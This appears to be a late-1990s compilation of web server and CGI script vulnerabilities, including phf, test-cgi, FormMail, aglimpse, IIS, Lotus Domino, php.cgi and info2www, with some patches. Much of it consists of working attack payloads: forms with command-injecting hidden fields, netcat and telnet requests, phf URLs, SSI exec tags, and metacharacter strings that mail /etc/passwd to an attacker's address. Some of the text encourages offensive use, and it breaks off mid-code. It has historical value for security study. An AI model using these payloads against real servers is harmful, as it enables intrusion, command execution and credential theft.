Risk: remote users can execute commands with web server privs
Date: December 15, 1998
Distro: http://cgi.notts.net/
Classifieds by Greg Mathews is a free cgi script for handling classified
ads. There are multiple security holes in this that allow remote
execution. Firstly, by setting your email address as something like
"duke@viper.net.au</etc/passwd" you can read files remotely off
the server.
Also, by setting the hidden variables on a html form a remote user
can force arbitary commands to be executed. One example of this is
modifying the following variable:
<input type="hidden" name="mailprog" value="/usr/sbin/sendmail">
Changing its value to another command will cause that alternate command
to be executed.
For a remote server, copy their path hidden fields or it will not
get up to the vulnerable code.
This just executes "touch /tmp/bighole". Modify it to suit your needs..
<form method=post action="/cgi-bin/classifieds.cgi">
<input type="hidden" name="ClassifiedsDir" value="/home/httpd/html/class/ads/">
<input type="hidden" name="ViewDir" value="http://victim.com/class/ads/">
<input type="hidden" name="ErrorReturn" value="http://victim.com/class/index.html">
<input type="hidden" name="ReturnURL" value="http://victim.com/class/hi.html">
<input type="hidden" name="return" value="duke@viper.net.au">
<input type="hidden" name="mailprog" value="touch /tmp/bighole">
<b>Which department do you want your ad to be placed in or you would like to view?
</form>
Name: ASP bugs
Risk: allows remote file listing/downloading/source viewing
Versions: IIS x.x,PWS also Windows95/NT
Date: July 1, 1998
Distro: http://www.microsoft.com/security/bulletins/
Internet Information Server (IIS) may reveal Active Server Pages
(ASP) code in situations where the URL path contains a period in
part of the extended URL. For example, a URL such as
http://www.somesite.com/new.products/hello.asp
would display the code within hello.asp instead of executing it --
apparently the "new.products" portion of the URL causes the problem.
The problem occurs consistantly on FAT partitions and only happens
on NTFS partitions where the Everyone group has read access, or
IUSR_MACHINENAME has read access.
First bug: reading of .asp, .ht., .id, .PL Feb 27 1997
This hot-fix solved the trailing '.' problem but opened up a new
hole which allows the same results - viewing the .asp file instead
of executing it.
This is accomplished by replacing the '.' in the filename part of a
URL with a '%2e', the hex value for '.':
http://www.mycompany.com/default.asp
http://www.myserver.com/default.asp.
http://www.mycompany.com/default%2easp
http://www.mycompany.com/default%2e%41sp
A problem was discovered that affects Microsoft IIS. Web clients
can read the contents of any NTFS file in an IIS directory to which
they have been granted "read access" including Active Server Pages
scripts The main data stream, which stores the primary content has
an attribute called $DATA. Accessing this NTFS stream via IIS from
a browser may display the contents of a file that is normally set
to be acted upon by an Application Mapping.
The problem does not allow the user to modify the script or to execute
arbitrary code.
The ACLs on the file must allow the user read access
The file must reside on an NTFS partition
To test for the vulnerability on your systems, choose a URL with
an .ASP extension and append the string "::$DATA".
http://www.somedomain.com/scripts/test.asp::$DATA
obtain domain users password via asp server variable 12 Aug 1998
With basic authentication on IIS, one can obtain password of users
accessing the ASP page via the server variable AUTH_PASSWORD.
The line <%= Request.ServerVariables("AUTH_PASSWORD") %>
in an asp file will do the trick.
With this, web page authors/content providers (probably not the
same person who administers the web server and NT domain) can easily
trap password of other domain users.
Hotfixes are ready
Name: httpd (Windows NT/95 IIS) bugs
Risk: allows remote file listing/downloading/source viewing
Versions: IIS 1.0,2.0,3.0,4.0, the PWS also
Author: Mnemonix (http://www.users.globalnet.co.uk/~mnemonix)
Distro: www.microsoft.com/infoservNew Perl.exe, IIS exploit 13 Jul 1998
All versions of Internet Information Server seem to have a feature
that can cause security problems when it has been configured to run
Perl scripts to produce dynamic web pages, although really it is a
combination of IIS and the Perl command interpreter (Perl.exe) acting
together that can cause this hole. Basically the security implications
of this problem is that data can be read from execute only virtual
directories sometimes leading to the discovery of UserIDs and passwords.
Script extentions (in this case .cgi or .pl) are mapped against the
interpreter in the registry under the following key:
HKLM\SYSTEM\CurrentControlSet\Services\W3SVC\Parameters\ScriptMap
When the web service receives a request from a browser it checks
the extention of the file requested and deals with it accordingly.
In this case if a .pl or .cgi file is requested IIS checks the
registry to see what interpreter should deal with that kind of file
and then passes the requested information to the interpreter, perl.exe.
This is the "fault" of IIS : that it does not check to see whether
the file actually exists or not; it just blindly passes the information
to the interpreter. IIS leaves this responsibilty to the interpreter.
The second part of this problem is caused by the interpreter: perl.exe.
Perl will open and try to execute any file that actually exists as
long as it has the extention .pl (if that is the registered extention)
Consequently if a space (%20) and .pl is appended to the end of a
URL Internet Information Server will pass the request to perl.exe
which will then open the file and try to execute it:
http://www.site.com/scripts/file.ext%20.pl
To demonstrate how this could be a problem: Some CGI scripts often
require a .txt file that contains a userID and password such as
wwwboard.cgi. Create a text file with two lines. On the first line
type "Webadmin" and on the secondline type "Password". Like so:
Webadmin
Password
And name the file pass.txt the request the following URL:
http://www.site.com/scripts/pass.txt%20.pl
You should receive a response similar to :
Can't call method "webadmin" in empty package "password" at
C:\InetPub\scripts\pass.txt line 1
You can also glean information from other "sensitive" files such as
.asp or .idc
http://www.site.com/scripts/default.asp%20.pl
http://www.site.com/scripts/database.idc
You could even run old perl scripts that are still in the /scripts
directory but have had their extention changed:
http://www.site.com/scripts/script.pl.old%20.pl
This problem is exacerbated by the fact that perl.exe will accept
willcards such as * and ? so you don't even need to know that name
of a file. You can request :
http://www.site.com/scripts/*.txt%20.pl
and perl.exe will open the first text file in the scripts directory
that it comes across.
The solution to this problem is to use the ISAPI interpreter instead:
PerlIS.dll. This leads to better performance anyway as the script
is run in the same memory space as IIS and only one instance of it
ever needs to be loaded into memory unlike perl.exe where for each
script requested a new instance of perl.exe is loaded into its own
memory space.
Windows NT running IIS httpd prior to 1.0c .. .Old
The IIS Web Publishing Service is not chrooted.
Any file on a intel WindowsNT box running IIS can be downloaded,
as long as the files you want to download are on the same
partition as the IIS root directory.
You enter the URL and a directory below the IIS root directory.
Any directory will do, as long as it is a subdirectory to the IIS
root. Most of the IIS installations have the directory scripts
or images so it isn't to hard to find a suitable directory. Then
you just ".." your way up in the directory structure.
http://www.victim.com/images/../../../mssql/customer.database
Name: test-cgi and nph-test-cgi (POPULAR!)
Risk: allows arbitrary remote file listing
Versions: Majority of UNIX based Internet World Wide Web servers come
with this CGI script installed by default. They are NCSA
HTTP 1.3, 1.4, 1.4.1, 1.4.2, 1.5.1, 1.5.2, 1,5.2a and
Apache/0.8.11, 0.8.14, 1.0.x, 1.1.0, 1.1.3, 1.2.x, 1.3.x
Distro: see original source of test-cgi
A security hole exists in the nph-test-cgi script included in
most UNIX based World Wide Web daemon distributions. The nph-*
scripts exist to allow 'non-parsed headers' to be sent via the
HTTP protocol (this is not the cause of this security problem,
though). The problem is that nph-test-cgi, which prints out
information on the current web environment (just like 'test-cgi'
does) does not enclose its arguments to the 'echo' command inside
of quotes....shell escapes are not possible but shell *expansion*
is....
If your test-cgi file contains the following line (verbatim) then
you are probably vulnerable.
echo QUERY_STRING = $QUERY_STRING
All of these lines should have the variables enclosed in loose
quotes ("). Without these quotes certain special characters
(specifically '*') get expanded where they shouldn't. Thus
submitting a query of '*' will return the contents of the
current directory (probably where all of the cgi files are...
gee, there's jj and phf. Sending in a query of '/*' will
list the root directory. And so on, and so on.
This is the same as doing `echo *` when you've blown away 'ls'
The easiest way to list out the directories is via the query
string. However, it is possible to do the same thing through
many of the other variables (ie $REMOTE_HOST, $REMOTE_USER, etc.)
in the right situations.
machine% echo "GET /cgi-bin/test-cgi?/*" | netcat www.hackme.com 80
CGI/1.0 test script report:
[...]
QUERY_STRING = /a /bin /boot /bsd /cdrom /dev /etc /home /lib /mnt
/root /sbin /stand /sys /tmp /usr /usr2 /var
[....]
$CONTENT_TYPE
~$(echo POST /cgi-bin/test-cgi HTTP/1.0; \
echo Content-type: \* ; echo Content-length: 0; \
echo; sleep 5) | telnet localhost 80
Connected to localhost.
Escape character is '^]'.
[...]
REQUEST_METHOD = POST
CONTENT_TYPE = (bunch of files listed here )
CONTENT_LENGTH = 0
[....]
If you give test-cgi an argument which includes a *, you can get a
directory listing from the SERVER_PROTOCOL field.
SERVER_PROTOCOL is normally "HTTP/1.0". But Apache seems to accept
anything there. The following worked on my machine:
Pentium:~$ telnet localhost 80
Connected to localhost.
GET /cgi-bin/test-cgi *
HTTP/1.1 200 OK
[....skip....]
SERVER_PROTOCOL = printenv test-cgi
[....]
GET /cgi-bin/test-cgi /* will list the root directory.
http://yourwebserver.com/cgi-bin/nph-test-cgi?*
With minor variants, both scripts are a problem in a couple of
areas. Crank each of these plus a couple of newlines into your
server and see what you get:
GET /cgi-bin/test-cgi?* HTTP/1.0
GET /cgi-bin/test-cgi?x *
GET /cgi-bin/nph-test-cgi?* HTTP/1.0
GET /cgi-bin/nph-test-cgi?x *
You can also try this:
GET /cgi-bin/test-cgi?x HTTP/1.0 *
GET /cgi-bin/nph-test-cgi?x HTTP/1.0 *
# this can't be used in requests via proxy
also see HTTP_REQUEST_METHOD bug
/cgi-bin/test-cgi?%0A/*
/cgi-bin/test-cgi?\help&0a/bin/cat%20/etc/passwd
POST /cgi-bin/test-cgi HTTP/1.0
Content-type: \*
Content-length: 0
* /cgi-bin/test-cgi HTTP/1.0
/* /cgi-bin/test-cgi HTTP/1.0
Putting /*/*/*/*/*/*/* (etc.) in 2 or 3 of above variables,
requesting test-cgi about 20 times in a row and each time cancelling
your request will drive the load on the server way up, making disk
access slow.
PATH_TRANSLATED can be abused by adding a / or a /~username to
test-cgi. This will give you the real pathname of the htdocs-dir
respectively the real pathname of an users $HOME/public_html.
If it is neccessary to have the script accessible then a quick
fix is to block
The fix is to surround all of the variables in test-cgi ( and any
other variations of test-cgi, such as nph-test-cgi, that may be
present) in quotes or add "set -f" as the second line of the script,
which closes the hole completely.
Name: FormMail perl script
Risk: Remote users can execute commands on the server.
Versions: FormMail, version 1.0
Distro: http://alpha.pr1.k12.co.us/~mattw/scripts.html
<html><head><title>hack</title></head>
<body><form method="post" action=
"http://www.clueless-sysadmin.se/cgi-bin/formmail.pl">
<input type="hidden" name="recipient" value=
"ugh@hotmail.com; cat /etc/passwd | mail ugh@hotmail.com">
<input type="submit" name="submit" value="submit">
</form></body></html>
Name: Set of perl-CGI scripts
Date: November, 1998
Risk: local or remote execution of arbitrary code
Versions: affected cgi scripts, listed below
Distro: http://www.cgi-resources.com/
1) HAMcards Postcard script v1.0 Beta 2 at http://www.hamnetcenter.com/
2) Hot Postal Services v?? at http://www.hotarea.com/
the only metacharacter stripping this script does is rejecting any |'s
3) RC Bowen's Postcards v?? at http://www.rcbowen.com/
4) LakeWeb's File and Mail List (expanded File Mail) v?? http://www.lakeweb.com/
5) WebCards program (V1.6) by Sam Kareem (webmaster@iraq.net)
Each of these are exploitable by inputing metacharacters into the
recipient's email address. Each script calls something similar
to:
open( MAIL, "|$mailprog $email" )
# this particular line is from the LakeWeb scripts
The exploit strings are simple, something like
&mail evil@foobar.com < /etc/passwd&@host.com
will work for each script (the @host.com is necessary because
some hosts check for "@" and ".") when placed in the Recipient
Email field. As a result, any command can be executed remotely
without a local account with the uid of the webserver (usually
"nobody" or similar, but you never know).
Use open (MAIL , "|$sendmail -t") or use Net::SMTP to pass the
data directly to port 25. or simply rm -rf ./cgi-bin.
It might be an idea for CGI providing ISP's to insist on the use of
perl's Mail::Sendmail module, which cuts out any potential pipe/
metachar related bugs by communicating directly w/ the SMTP server.
$LOCAL_CPAN_MIRROR/authors/id/M/MI/MIVKOVIC/Mail-Sendmail-0.74.tar.gz
See http://www.perl.com/CPAN for a list of mirror sites.
Name: Lotus Domino
Date: October 9th, 1998
Risk: Users can write to remote server drives and change server
configuration files.
Versions: affect Domino 4.6 and earlier (on all platforms)
Distro: http://www.notes.net/
Due to the design of Domino's database security,web users are able
to write to remote server drives and change server configuration
files. Three specific design flaws lead to sites being a victim.
Default database ACLs are set to allow unrestricted access to all
web users Databases do not correctly inherit their ACLs from their
parent template. No tool is provided to check that proper security
measures have been taken on server configuration databases. These
three problems lead to databases being left unsecured to any web user.
The first problem is that database default ACLs are set to give
every user (including anonymous) 'designer' access (practically
total control), as well as defaults the 'Max Internet Access' setting
to 'editor'. There is also no automatic way to set the ACLs for a
large number of databases at a single time. So every ACL for EVERY
database needs to be MANUALY edited by an admin to make SURE the
ACL is set properly. These two poor design issues practically
guarantee that a number of databases on a server will be giving
unwanted access to web users (or any users). This access includes
web users being allowed to WRITE to server drives, read log ...
The second problem is that databases do not correctly inherit the
access control list from their parent template. Templates are used
to update the design, forms, views etc. of similar databases, but
do nothing to the ACL on update or initial creation. This causes
serious problems for a server configuration file (a database),that
is created and edited a minimal number of times. This is the case
for domcfg.nsf. Domcfg.nsf is used for URL Redirection and the like;
on most sites it is usually created and edited only once (and for
this reason many admins overlook it). Since domcfg.nsf does not
inherit the ACL from its parent template (domcfg.ntf), and because
of the first problem mentioned above (namely, on initial database
creation the ACL is set to give 'default' users designer access),
any domcfg.nsf file's ACL that has not been MANUALLY edited to restrict
users will give a web user UNRESTRICTED access.
Many high profile Domino sites (you know who you are!) have been
affected with these problems. Due to the nature and uses of domcfg.nsf,
it is usually the guilty database An improperly configured ACL for
domcfg.nsf can let any user with a standard web browser CHANGE THE
URL ADDRESS of a site with simple redirection, edit/delete legitimate
URL redirections, and generally wreak havoc.
Now for the way domcfg.nsf is actually edited via the web:
To open the Domino Configuration database add 'domcfg.nsf/?Open'to
the end of url:
http://199.99.99.99/domcfg.nsf/?open
Now, in a correctly secured domcfg.nsf you would be prompted for a
password at this point (or, in some cases, the domcfg.nsf file has
not even been created and won't be there).
Anyway, many sites (due to the details listed above) do NOT have
their domcfg.nsf ACL setup correctly and at this point a web user
sees a screen showing different views they can pick from (URL Redirection,
Directory Mappings, etc.).
Now to ADD a URL Redirect simply change the URL to:
http://199.99.99.99/domcfg.nsf/URLRedirect/?OpenForm.
At this point you get a URL Redirection form. Fill in the fields:
IP Address: the IP address of the remote machine
URL path: the path you want to redirect (lets say
http://199.99.99.99)
Redirection URL: the url you want it to redirect to (your own url
http://my.own.url)
Saving the document (pressing the submit button) will produce a new
URL Redirection document. The next time the server is restarted the
URL Redirection will take effect.
With this example, every http request toward http://199.99.99.99
will be redirected toward http://my.own.url, having the affect of
completely redirecting the site.
Domino URL commands (which can be used to edit, delete, and manipulate
files via the web) can be found in all documentation as well as at:
http://www.notes.net/today.nsf/cbb328e5c12843a9852563dc006721c7/ca5230f9baf39fe1852564b5005e8419?OpenDocument.
The vulnerability affects websites created by Lotus Business
Partners who provide training services and accept credit card numbers
via the web; however, in theory the vulnerabilities could extend to
any e-Commerce site.
Navigate through a Domino site, and once a database has been
accessed, remove the information after the .nsf or after the first
set of numbers following the server portion of the URL and replace
it with "?Open". If you are then presented with a list of views,
your site is potentially vulnerable to having anonymous users access
the information contained within the views listed Lotus recommends
blocking this access through a $$ViewTemplateDefault. If this technique
is used, the second vulnerability comes into play, which is to access
the view by using the following URL format:
http://www.server.com/database.nsf/viewname?SearchView&Query="*"
This bypass the $$ViewTemplateDefault if the database is full-text
indexed.
databases: names.nsf; catalog.nsf; log.nsf; domlog.nsf; domcfg.nsf.
older versions of Lotus Domino Go, formerly known as IBM Internet
Connection Server (ICS), contained a security hole in directory browsing.
When directory browsing is set to "fancy", a potential hacker can
browse backward through the directory tree all the way up to root
("/").
Thus, private system files and other documents are exposed to interception.
This bug was present in versions
1.0 through 2.0 of ICS,
and affected both the AIX and OS/2 Warp versions.
Name: Count.cgi remote overflow
Risk: local or remote execution of arbitrary code
Versions: Muhammad A. Muquit's wwwcount v 2.2, 2.3
Distro: http://www.fccc.edu/users/muquit/Count.html
There are at least two buffer overflow vulnerabilities in wwwcount,
a widely used CGI web counter. The most harmful occurs when the
QUERY_STRING environment variable (which reflects the url asked by
the www client) is copied to a fixed-size dynamic buffer. Another
one occures only when the counter is compiled with a special
authentication option, and may not be exploitable.
The actual fix is pretty simple. Apply the following patch to the
file main.c. Environment variables will be cutted down to their
first 600 chars. The idea of this patch can also be adapted for
other purposes, mainly to develop a generic cgi-bin wraper.
void wrapit(char *envvar,int esize)
{
char *tmp,*tmp2;
tmp=malloc(esize+1);
if(tmp==NULL)
{
Debug2("Can't allocate wrapper memory buffer.",0,0);
exit(1);
}
strncpy(tmp,(tmp2=getenv(envvar))?tmp2:"",esize-1);
tmp[esize]='\0';
setenv(envvar,tmp,1);
}
/*
* avoid any buffer overflow problem by cutting some env variables
*/
wrapit("QUERY_STRING",600);
wrapit("HTTP_REFERER",600);
wrapit("HTTP_USER_AGENT",600);
here is a _sample_ exploit, designed to be used on localhost.Needs
lots of work to be really usefull, remote stack prediction is still
a big problem.
wwwcount.c original (c) 05/1997 by plaguez
count.c Gus/97 from rootshell intel linux
count23.c linux exploit Count.cgi (html gen)
count23a.c modified remote exploit
Read any gif vulnerability only in 2.3
Allows remote users to read any GIF file on the server, regardless
of HTTP permissions set.
http://attacked.host.com/cgi-bin/Count.cgi?display=image&image=../../path/file.gif
you can see (and download) any GIF image on the server.
You can't use this to download other file types because the program
checks the file format.
The use for this is not yet very clear, but some companies might
have sensitive information in GIF files (charts, drafts etc.). And
of course, this is heaven for XXX site hunters who can bypass user
level authentication and download the image if they know the path.
Name: guestbook.cgi for Web Servers Using SSI
Risk: execute arbitrary commands as web server's UID (remote)
Versions: A guestbook CGI script is freely available by Selena Sol
guestbook script at Matt Wright's archive
Distro: http://www.eff.org/~erict/Scripts/guestbook.html
Guestbook applications allow a person browsing a web site to
"sign" an electronic guestbook and leave an appropriate message.
All versions of this program have a vulnerability that under
certain conditions allows a remote user to execute arbitrary
commands on the server as the user id of the httpd daemon. These
conditions are:
* the server allow Server Side Includes (SSI) on the directory
in which the guestbook is located, and,
* the guestbook application allows the remote user to write
HTML tags into the Comment field of the guestbook, and,
* the guestbook application does not filter appropriate HTML
tags.
The script attempts to strip out SSI's with the following regex:
$value =~ s/<!--(.|\n)*-->//g;
<!--#exec cmd="/bin/cat /etc/passwd"->
<!--#include file="/etc/passwd"-->
<!--#include file="/var/spool/mail/youruserid"-->
<!--#exec cmd="/bin/cat /etc/passwd"
Exec-SSIs are a security problem itself and one should know about
the risks when enabling them (and enabling them for pages which
are generated from user input, e.g. guestbook pages, is just a
stupid idea). Scripts should not go about generating SSI based on
user input. It's trivial to configure the server to avoid this -
use a different file extension for ssi and non-ssi. Apache does
diagnose the malformed tag:
[Thu Jun 25 14:23:23 1998] [error] httpd: premature EOF in parsed file /blah/blah/tt.shtml
But the diagnosis occurs after it has executed the command, and
we're unlikely to change that. The parser just executes things
as it encounters them. It does not attempt to find an entire tag
first... that's needlessly complex. (Consider long tags spanning
multiple input buffers.)
(a) Disable SSI on the directory in which the guestbook
application writes its data. See your WWW server documentation
for details.
(b) Filter HTML tags that can be used to process arbitrary local
data
Name: /cgi-bin/aglimpse
Risk: execute arbitrary commands as web server's UID (remote)
Versions: GlimpseHTTP 2.0 and WebGlimpse versions prior to 1.5
Distro: http://glimpse.cs.arizona.edu/webglimpse/
Another HTTP vulnerability, this time in a small utility: Glimpse
HTTP which is an interface to the Glimpse search tool. It is
written in PERL. The hole is small one but it can allow you to
execute any command on the remote system (as the owner of the
http server).
$path_info = $ENV{'PATH_INFO'};
$_ = $path_info;
# /<length>/$indexdir/$path is the format of the PATH_INFO
# might as well start the message now print "Content-type: text/html\n\n";
print "<HTML>\n"; print "<HEAD>\n";
if ( m|^/([0-9]*)(.*)$| ) {
$length = $1;
$path = $2;
$path =~ s|"||g; } else {
&err_badargs; }
$indexdir = substr($path,0,$length);
$relpath = substr($path,$length,length($path));
# print "<br>indexdir=$indexdir<br>relpath=$relpath<br>";
open(CONF,"$indexdir/archive.cfg") || &err_conf;
As you may see, it splits PATH_INFO in two fields: $length and
$path and then takes the first $length characters from $path and
puts them in $indexdir. The last line opens "$indexdir/archive.cfg".
Now for the evil part. By setting $indexdir to a string that
begins with '|', the system will execute whatever it finds after
the pipe, giving it as STDIN what you write to the CONF handle.
The bad thing is that most HTTP servers won't let you use TABS or
SPACES in the PATH_INFO (not the case of Netscape servers anyway,
but CERN and Apache will do it). And I don't know how many "one
word" commands can anyone find (and make them do evil).
Here's where the famous IFS variable comes handy. If $indexdir
is set to something like:
"|IFS=5;CMD=5mail5your_address\@your_computer.com\</etc/passwd;eval$CMD;echo"
it will execute the command in CMD using IFS as separator. The
one above sends me your /etc/passwd. The last "echo" is used to
ignore the rest of the string. An of course you can use any other
separator instead of "5".
telnet target.machine.com 80
GET /cgi-bin/aglimpse/80|IFS=5;CMD=5mail5hack\@i.am\</etc/passwd;eval$CMD;echo HTTP/1.0
Note that the cgi-bin directory could be located somewhere else
(for example in /scripts or /cgi or a special directory just for
glimpse...). Also note that you HAVE to use all those backslahes
in the command (perl wants them there!).
Name: /cgi-bin/finger
Risk: an entire network can have a security breech...
Finger, the standard Unix command used to look up users on a
system, has been deemed a security hole by some sites and in some
cases shut off. Other variations of finger have been altered so
that a user can control exactly what information about his/her
login is shared on the local machine and over the wire. In other
instances, tcpwrappers are used so that only trusted systems on a
LAN can finger other machines. Having the CGI program "finger"
installed can breech security in all these instances.
Finger a site on the net, out of the blue.
[user@mybox] finger @host.i.want.to.own.com
/////////////////////////////////////////////////
*
* WARNING: Your finger attempt from user@myhost
* has been recorded in our logs.
* Any more finger attempts from your host, and
* we will consider those actions an attack on
* our host. We will prosecute anyone we feel is
* intruding onto our network.
*
/////////////////////////////////////////////////
[user@mybox] lynx http://host.i.want.to.own.com/cgi-bin/finger?@localhost
[localhost.i.want.to.own.com]
Login Name Tty Idle Login Time Office Office Phone
lip Larry I. Peters qf - Feb 19 15:01
jack Jack Daniels pd 23:40 Feb 18 14:44
jdobman J. Doberman p1 3 Feb 19 12:32 Room 101
jdobman J. Doberman q1 2:48 Feb 9 15:57 Room 101
red R. Earl Davies *q5 1:26 Feb 19 08:43
With that one CGI program, an entire network's security has been
violated. Imagine that host.i.want.to.own.com has a machine
specifically for processing orders. Knowing a username on that
machine makes it a lot easier for a potential hacker to get in.
If software such as tcpwrappers are in use on the LAN, chances
are it will be configured so that local users can see who is
logged in where.
[user@mybox] lynx http://host.i.want.to/cgi-bin/finger?@trustedhost
[trustedhost]
Login Name Tty Idle Login Time Office Office Phone
lip Larry I. Peters q1 - Feb 19 15:01
jack Jack Daniels p0 1:40 Feb 18 14:44
Now, an entire network has had a security breech,not just one system.
1) get your list of e-mail addresses you found for the site (let's
pretend one of them is "kangaroo@acme.net ", and that your email
address is "your@email.org")
2) Go back to the finger box, and type this in (changing these email
addresses for the real ones):
kangaroo@acme.net ; /bin/mail your@email.org < etc/passwd
Name: bugs in Excite for Web Servers 1.1
Date: 30 Nov 1998
Versions: EWS 1.1
Distro: http://www.excite.com/navigate/
Risk: ordinary user being able to gain control over EWS
Marc Merlin found following. While trying a query like this one
on a server "this and this and that" (with the quotes) he noticed
an error. Classic mistake, it launches a shell with whatever was
given in the query (even though spaces are escaped with a '$').
Yet, the exploit remains simple:
";IFS="$";/bin/cat /etc/passwd|mail your_email_here;
(or any other shell command you can thing of)
The installation program installs several files with world-write
permissions. This is bad because one of them (Architext.conf)
contains the encrypted password which is used for all authentication.
Because of this, any user with shell or non-anonymous FTP access
to the web server could modify the encrypted password.
All authentication after the initial access to AT-admin.cgi relies
solely on the encrypted password. Since any user with shell or FTP
access can read Architext.conf, it is trivial for local users to
gain administrative privileges over EWS. Thus, a user only needs to
have a web page that looks like:
<html> <head><title>exploit</title>
<body>
<p><FORM ACTION="http://EWS.SERVER.COM/cgi-bin/AT-generate.cgi"
METHOD=POST>
<INPUT TYPE="hidden" NAME="db" VALUE="personal">
<INPUT TYPE="submit" NAME="Reload" VALUE="Reload">
Reload this page, in case the log file or status has changed.
<INPUT TYPE="hidden" NAME="Dump" VALUE="dummy">
<INPUT TYPE="hidden" NAME="File"
VALUE="/usr/local/etc/excite/collections/AT-personal.prog">
<INPUT TYPE="hidden" NAME="Type" VALUE="progress">
<INPUT TYPE="hidden" NAME="ENCRYPTEDPASS" VALUE="ENCRYPTEDPASS">
</FORM><BR>
</body>
</html>
Of course you should replace EWS.SERVER.COM and ENCRYPTEDPASS with
values that make sense for your situation. By accessing this page
and clicking on the button you get to a menu that behaves exactly
as if you knew the unencrypted password.
Problem: Passwords are not encrypted properly. Note that the first
two characters of the encrypted password are always the first two
characters of the plain-text password. For example, if you choose
the password "blah", the encrypted password is "blk1x.w.ISlDw".
In light of the fact that the plain-text password is not needed for
adminstrative control (above), this problem is not that significant.
Since this same password may be used other places it should be
protected better. If a dictionary attack for the password is
done, only those words that start with "bl" need be examined.
If a brute force attack is used, the number of guesses goes down
significantly
Solution: Encrypt passwords using random salts. Even using "aa"
as the salt in every case would be more secure.
Name: php (CGI) 3 bugs
Date: 19 Oct 1997
Versions: php.cgi 2.0beta10 or earlier ( or up to 19 October 1997)
Distro: http://www.vex.net/php
Risk: execute arbitrary commands as web server's UID (remote)
First vulnerability allows unauthorized users to view arbitrary
file contents on the machine running http by sending the file name
wishing to be displayed as the QUERY_STRING.
simply use any web browser to send the following URL:
http://boogered.system.com/cgi-bin/php.cgi?/file/to/view
The workaround solution is to set the following in php.h
#define PATTERN_RESTRICT ".*\\.phtml$"
This will limit the php.cgi parser to only display files ending
in .phtml
Vulnerability in PHP Example Logging Scripts
There was a gaping security hole in a few of the example scripts,
specifically mlog.html and mylog.html, which allow any remote user
to read any arbitrary file on the system.(which is readable to the
user that httpd and thus PHP are running as) To top it all off,
this exploit is really easy to accomplish.
The problem lies in the line:
<?include "$screen">
in both mlog.html and mylog.html. The idea is to include a file
for each type of logging stats, however, there is no escaping of
slashes, so one can specify any file on the system.
http://host.comt/~user/cool-logs/mlog.html?screen=[full path to any file]
Useful files to see are /etc/hosts.allow, /etc/passwd (for
unshadowed systems..) and just about anything else (and if your
httpd is still running as root you may be considered as lucky guy
while you can't say the say for dummy admin of that machine).
Fix:
use the following block of code, right before <?include... line.
Buffer Overflow in php.cgi
In the function FixFilename() function in file.c, PHP attempts to
pass strings whose length may be as long as 8 kilobytes into
buffers as small as 128 bytes. This overwrites the stack, making
it possible for an attacker to obtain shell access to the machine
running the web server.
The filename argument to FixFilename is derived from the command
line used to invoke to the CGI script, or from the QUERY_STRING
environment variable passed to it. The total length of either
can be as long as eight kilobytes, but the fn string is a mere
128 bytes long. An excerpt from the flawed code reads:
char *FixFilename(char *filename, int cd, int *ret) {
...
char fn[128], user[128], *s;
...
s = strrchr(filename,'/');
if(s) {
strcpy(fn,s+1);
...
Attackers can remotely obtain shell or command line access to any
vulnerable system and vulnerable is any computer running a web
server with php.cgi 2.0beta10 or earlier is vulnerable,
irrespective of what operating system it is running, provided
that PHP is run as a cgi, and not as an Apache module. When
compiled as an Apache module, PHP does not appear to execute the
problem code.
To determine whether a system is running a web server with
php.cgi installed as a cgi, use your favorite web browser to
access the URL:
http://hostname/cgi-bin/php.cgi
If you see something like:
PHP/FI Version 2.0b10
...
Then the machine hostname is running PHP/FI and feel free to panic.
phpget.c scanner
Name: httpd (phf) The MOST famous bug
Date: Old ( Jan 1996 )
Name: phf.pp phf phf.cgi
Versions: NCSA or Apache (earlier than 1.1.1) non-commercial Web
servers using util.c
Risk: execute arbitrary commands as web server's UID (remote)
Util.c traps escape and control characters but does not trap \n
which allows an intruder to execute a line return and then a
UNIX command as the httpd owner.
http://foo.system.com/cgi-bin/phf?Qname=root%0Asome%20command%20here
/cgi-bin/phf?Qname=root%0A/bin/cat%20/etc/passwd
/cgi-bin/phf.pp?Qalias=x%0a/bin/cat%20/etc/passwd
http://victim.com/cgi-bin/phf?Jserver=ns.uiuc.edu%0Acat%20/etc/passwd%0A
&Qalias=&Qname=foo
A successful probe would have a "200 11111" in logs instead of a
"404 -" as the result of the probe, where 200 is success and 11111
is the number of bytes returned to the prober, approximating the
size of the /etc/passwd file.
Since some systems have vulnerable bash, you can also try
http://host.com/cgi-bin/phf?Qalias=%ff/bin/cat%20/etc/passwd.
http://host.com/cgi-bin/phf?Qalias=%0A/bin/cat%20/etc/passwd
http://host.com/cgi-bin/phf?Qalias=x%0a/bin/ls%20/
which would have the effect of dumping the /etc/passwd file to the
screen. The true implications of this bug are that any remote
user can execute ANY command on the system as the UID/GID of the
httpd child process. As J-Man Th' Shaman pointed, people are
getting through packet filtering schemes by initiating remote
xterms, and even saw one case where a cracker emailed a uuencoded
root shell exploit into the httpd child process owners mail
spool, then uudecoded a binary that would exploit another bug to
get root, set up a suid root copy of socdaemon (which ties a
shell to a port), and execute it.
Having phf active in vulnerable form is wellcome invitation to
anyone willing to play with you.
Patch util.c like so:
if(ind("&;`'\"|*?~<>^()[]{}$\\",cmd[x]) != -1){
with
if(ind("&;`'\"|*?~<>^()[]{}$\\\n",cmd[x]) != -1){
respectively.
The script below simply looks like the original PHF program however
it mails the security person whenever connections or probes are
received.
The idea of luring attacks and presenting false information in an
interesting one as an attacker needs to find a vulnerability to
exploit to get into the system. If vulnerabilities are presented
that are not legitimate. it is more difficult for an attacker to
decide what is legitimate and what is just bait. If people wish to
attack a system they take the risk that they are either falling
into a trap or actually getting into the system. Its interesting
to blur the two. Along with scripts like below people can play
games with modified sendmail version lines or even presenting
false login screens with the tcp wrapper twist.
fake_phf.pl source
phfscan.c scanner
Name: info2www
Date: 3 March 1998
Versions: info2www 1.1 (and some other versions)
Risk: execute arbitrary commands as web server's UID (remote)
Niall Smart found following. Some versions of the info2www CGI
blindly open files:
$ REQUEST_METHOD=GET ./info2www '(../../../../bin/mail user_name </etc/passwd|)'
$
You have new mail.
$
Trying to track down which versions of info2www have this bug and
which don't has been difficult, there are lots of variants out
there, some of which aren't vulnerable. Instead of trying to make
a list of versions which are vulnerable let's say following:
- if it has no version number, its probably vulnerable
- the uuencoded version at CPAN is corrupt, and the one which
the README file tells you to get is vulnerable
- version 1.1 is vulnerable
- version 1.2.x seem ok (seems!)
Apparently info2www is based on info2html and infogate, so these
may have problems too.
Name: jj.c
Date: 24 Dec 1996
Risk: escape to a shell
jj.c is a demo cgi program. It passes unfiltered user input to
/bin/mail. You know what that means. Use ~ to escape to a shell,
etc. The segment of the code looks like:
if(allow) {
char t[256];
